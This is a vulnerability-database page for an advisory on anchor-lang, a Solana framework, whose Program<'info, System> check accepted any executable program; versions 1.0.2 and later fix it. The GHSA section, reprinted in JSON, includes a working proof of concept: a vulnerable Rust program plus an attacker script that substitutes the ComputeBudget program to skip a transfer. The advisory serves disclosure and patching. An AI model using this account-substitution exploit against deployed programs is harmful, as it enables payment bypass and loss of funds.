Vulnerability-Lookup

rustsec-2026-0144

Vulnerability from osv_rustsec

Published

2026-05-07 12:00

Modified

2026-05-18 19:28

Summary

`Program<System>` accepts arbitrary executable programs

Details

Affected versions of anchor-lang did not properly validate accounts declared as Program<'info, System>. The generic Program<T> validation path used Pubkey::default() as a sentinel to decide whether any executable program should be accepted. Since the system program id is also the default pubkey, Program<'info, System> was treated like the untyped Program<'info> case and accepted any executable program account.

Programs commonly rely on Program<'info, System> to ensure that CPI calls and instruction builders target the real Solana system program. With the faulty validation, an attacker could supply another executable program where the system program was expected, causing downstream logic to make false assumptions about payments, account creation, or other system-program CPIs.

The issue was fixed in anchor-lang 1.0.2 by separating the typed Program<T> validation path from the untyped Program<()> path, so Program<'info, System> now checks the provided account key against the system program id. Users should upgrade to anchor-lang 1.0.2 or later.

Severity

8.2 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

References

URL

Type

	https://crates.io/crates/anchor-lang	PACKAGE
	https://rustsec.org/advisories/RUSTSEC-2026-0144.html	ADVISORY
	https://github.com/otter-sec/anchor/security/advi…	ADVISORY
	https://github.com/solana-foundation/anchor/relea…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "categories": [],
        "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "anchor-lang",
        "purl": "pkg:cargo/anchor-lang"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2026-45137",
    "GHSA-c6rc-8jpp-2fgc"
  ],
  "database_specific": {
    "license": "CC-BY-4.0"
  },
  "details": "Affected versions of `anchor-lang` did not properly validate accounts declared\nas `Program\u003c\u0027info, System\u003e`. The generic `Program\u003cT\u003e` validation path used\n`Pubkey::default()` as a sentinel to decide whether any executable program\nshould be accepted. Since the system program id is also the default pubkey,\n`Program\u003c\u0027info, System\u003e` was treated like the untyped `Program\u003c\u0027info\u003e` case and\naccepted any executable program account.\n\nPrograms commonly rely on `Program\u003c\u0027info, System\u003e` to ensure that CPI calls and\ninstruction builders target the real Solana system program. With the faulty\nvalidation, an attacker could supply another executable program where the system\nprogram was expected, causing downstream logic to make false assumptions about\npayments, account creation, or other system-program CPIs.\n\nThe issue was fixed in `anchor-lang` 1.0.2 by separating the typed\n`Program\u003cT\u003e` validation path from the untyped `Program\u003c()\u003e` path, so\n`Program\u003c\u0027info, System\u003e` now checks the provided account key against the system\nprogram id. Users should upgrade to `anchor-lang` 1.0.2 or later.",
  "id": "RUSTSEC-2026-0144",
  "modified": "2026-05-18T19:28:44Z",
  "published": "2026-05-07T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/anchor-lang"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0144.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/solana-foundation/anchor/releases/tag/v1.0.2"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`Program\u003cSystem\u003e` accepts arbitrary executable programs"
}

GHSA-C6RC-8JPP-2FGC

Vulnerability from github – Published: 2026-05-13 15:31 – Updated: 2026-05-19 16:08

Summary

Anchor: Program<'info, System> is not properly validated

Details

Summary

An logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.

Details

In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.

https://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163

PoC

Build and deploy the following anchor program:

/// victim.rs
/// an anchor program that uses the system program in some way.

use anchor_lang::prelude::*;
use anchor_lang::prelude::program::invoke;
use anchor_lang::prelude::instruction::Instruction;

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(mut)]
    pub sender: Signer<'info>,
    #[account(mut)]
    pub recipient: SystemAccount<'info>,
    // the "System" part here should ensure that callers can only pass the system program.
    pub system_program: Program<'info, System>,
}

pub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {
    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.
    msg!("System program: {:?}", ctx.accounts.system_program.key());

    // construct a transfer instruction
    // note that not only raw instructions, but also any other instruction
    // builders that properly forward the passed in program id are vulnerable.
    let mut data = Vec::new();
    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator
    data.extend_from_slice(&amount.to_le_bytes());  // amount

    let accounts = vec![
        AccountMeta::new(ctx.accounts.sender.key(), true),
        AccountMeta::new(ctx.accounts.recipient.key(), false),
    ];

    let ix = Instruction {
        program_id: ctx.accounts.system_program.key(),
        accounts,
        data,
    };

    let account_infos = [
        ctx.accounts.sender.to_account_info(),
        ctx.accounts.recipient.to_account_info(),
        ctx.accounts.system_program.to_account_info(),
    ];

    // invoke the transfer instruction
    invoke(&ix, &account_infos)?;

    Ok(())
}

Run the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js

/// attacker.js
/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen
/// while the victim program thinks it has happened.

import { Connection, Keypair, PublicKey, SystemProgram } from "@solana/web3.js";
import { AnchorProvider, Program, Wallet } from "@coral-xyz/anchor";
import BN from "bn.js";
import fs from "fs";
import idl from "./victim_idl.json" with { type: "json" };  // the idl of the victim program, generated by `anchor build`

const keypair = Keypair.generate();
const receiver = Keypair.generate();

const connection = new Connection("http://localhost:8899", "confirmed");
const provider = new AnchorProvider(connection, new Wallet(keypair), {});

async function airdrop(publicKey, amount) {
    const tx = await connection.requestAirdrop(publicKey, amount);
    await connection.confirmTransaction(tx);
    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);
}

async function printBalance(publicKey) {
    const balance = await connection.getBalance(publicKey);
    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);
}

await airdrop(keypair.publicKey, 1e9);
await airdrop(receiver.publicKey, 1e9);

const program = new Program(idl, provider);

const tx = await program.methods
    .initialize(new BN(1e9 / 2))
    .accounts({
        sender: keypair.publicKey,
        recipient: receiver.publicKey,
        // we pass the compute budget program instead of the system program
        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.
        // if we comment this out, anchor will pass in the system program and the transfer will succeed
        systemProgram: new PublicKey("ComputeBudget111111111111111111111111111111"),
    })
    .rpc();

console.log("Transaction signature:", tx);
await connection.confirmTransaction(tx);

// Check balances
await printBalance(keypair.publicKey);
await printBalance(receiver.publicKey);

/*

expected balances:
499995000
1500000000

actual balances:
999995000
1000000000

*/

Inspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.

If you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.

Impact

This is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.

Severity ?

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "anchor-lang"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:31:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.\n\n### Details\nIn the TryFrom\u003c\u0026\u0027a AccountInfo\u003c\u0027a\u003e\u003e implementation for Program\u003c\u0027a, T\u003e, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program\u003c\u0027a, System\u003e are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.\n\nhttps://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163\n\n### PoC\nBuild and deploy the following anchor program:\n```rs\n/// victim.rs\n/// an anchor program that uses the system program in some way.\n\nuse anchor_lang::prelude::*;\nuse anchor_lang::prelude::program::invoke;\nuse anchor_lang::prelude::instruction::Instruction;\n\n#[derive(Accounts)]\npub struct Initialize\u003c\u0027info\u003e {\n    #[account(mut)]\n    pub sender: Signer\u003c\u0027info\u003e,\n    #[account(mut)]\n    pub recipient: SystemAccount\u003c\u0027info\u003e,\n    // the \"System\" part here should ensure that callers can only pass the system program.\n    pub system_program: Program\u003c\u0027info, System\u003e,\n}\n\npub fn handler(ctx: Context\u003cInitialize\u003e, amount: u64) -\u003e Result\u003c()\u003e {\n    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.\n    msg!(\"System program: {:?}\", ctx.accounts.system_program.key());\n\n    // construct a transfer instruction\n    // note that not only raw instructions, but also any other instruction\n    // builders that properly forward the passed in program id are vulnerable.\n    let mut data = Vec::new();\n    data.extend_from_slice(\u0026[2, 0, 0, 0]);  // transfer discriminator\n    data.extend_from_slice(\u0026amount.to_le_bytes());  // amount\n\n    let accounts = vec![\n        AccountMeta::new(ctx.accounts.sender.key(), true),\n        AccountMeta::new(ctx.accounts.recipient.key(), false),\n    ];\n\n    let ix = Instruction {\n        program_id: ctx.accounts.system_program.key(),\n        accounts,\n        data,\n    };\n\n    let account_infos = [\n        ctx.accounts.sender.to_account_info(),\n        ctx.accounts.recipient.to_account_info(),\n        ctx.accounts.system_program.to_account_info(),\n    ];\n\n    // invoke the transfer instruction\n    invoke(\u0026ix, \u0026account_infos)?;\n\n    Ok(())\n}\n```\n\nRun the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js\n\n```js\n/// attacker.js\n/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen\n/// while the victim program thinks it has happened.\n\nimport { Connection, Keypair, PublicKey, SystemProgram } from \"@solana/web3.js\";\nimport { AnchorProvider, Program, Wallet } from \"@coral-xyz/anchor\";\nimport BN from \"bn.js\";\nimport fs from \"fs\";\nimport idl from \"./victim_idl.json\" with { type: \"json\" };  // the idl of the victim program, generated by `anchor build`\n\nconst keypair = Keypair.generate();\nconst receiver = Keypair.generate();\n\nconst connection = new Connection(\"http://localhost:8899\", \"confirmed\");\nconst provider = new AnchorProvider(connection, new Wallet(keypair), {});\n\nasync function airdrop(publicKey, amount) {\n    const tx = await connection.requestAirdrop(publicKey, amount);\n    await connection.confirmTransaction(tx);\n    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);\n}\n\nasync function printBalance(publicKey) {\n    const balance = await connection.getBalance(publicKey);\n    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);\n}\n\nawait airdrop(keypair.publicKey, 1e9);\nawait airdrop(receiver.publicKey, 1e9);\n\nconst program = new Program(idl, provider);\n\nconst tx = await program.methods\n    .initialize(new BN(1e9 / 2))\n    .accounts({\n        sender: keypair.publicKey,\n        recipient: receiver.publicKey,\n        // we pass the compute budget program instead of the system program\n        // the victim will call the compute budget program thinking it\u0027s the system program, and the transfer will never happen.\n        // if we comment this out, anchor will pass in the system program and the transfer will succeed\n        systemProgram: new PublicKey(\"ComputeBudget111111111111111111111111111111\"),\n    })\n    .rpc();\n\nconsole.log(\"Transaction signature:\", tx);\nawait connection.confirmTransaction(tx);\n\n// Check balances\nawait printBalance(keypair.publicKey);\nawait printBalance(receiver.publicKey);\n\n/*\n\nexpected balances:\n499995000\n1500000000\n\nactual balances:\n999995000\n1000000000\n\n*/\n```\n\nInspect the solana validator logs and javascript output, you\u0027ll see the program did not transfer any lamports.\n\nIf you uncomment the systemProgram account override in the javascript code and rerun it, you\u0027ll see the victim program behaves as expected and lamports are actually transferred.\n\n### Impact\nThis is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.",
  "id": "GHSA-c6rc-8jpp-2fgc",
  "modified": "2026-05-19T16:08:41Z",
  "published": "2026-05-13T15:31:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/solana-foundation/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/solana-foundation/anchor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/solana-foundation/anchor/releases/tag/v1.0.2"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0144.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Anchor: Program\u003c\u0027info, System\u003e is not properly validated"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

rustsec-2026-0144

Vulnerability from osv_rustsec

GHSA-C6RC-8JPP-2FGC

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature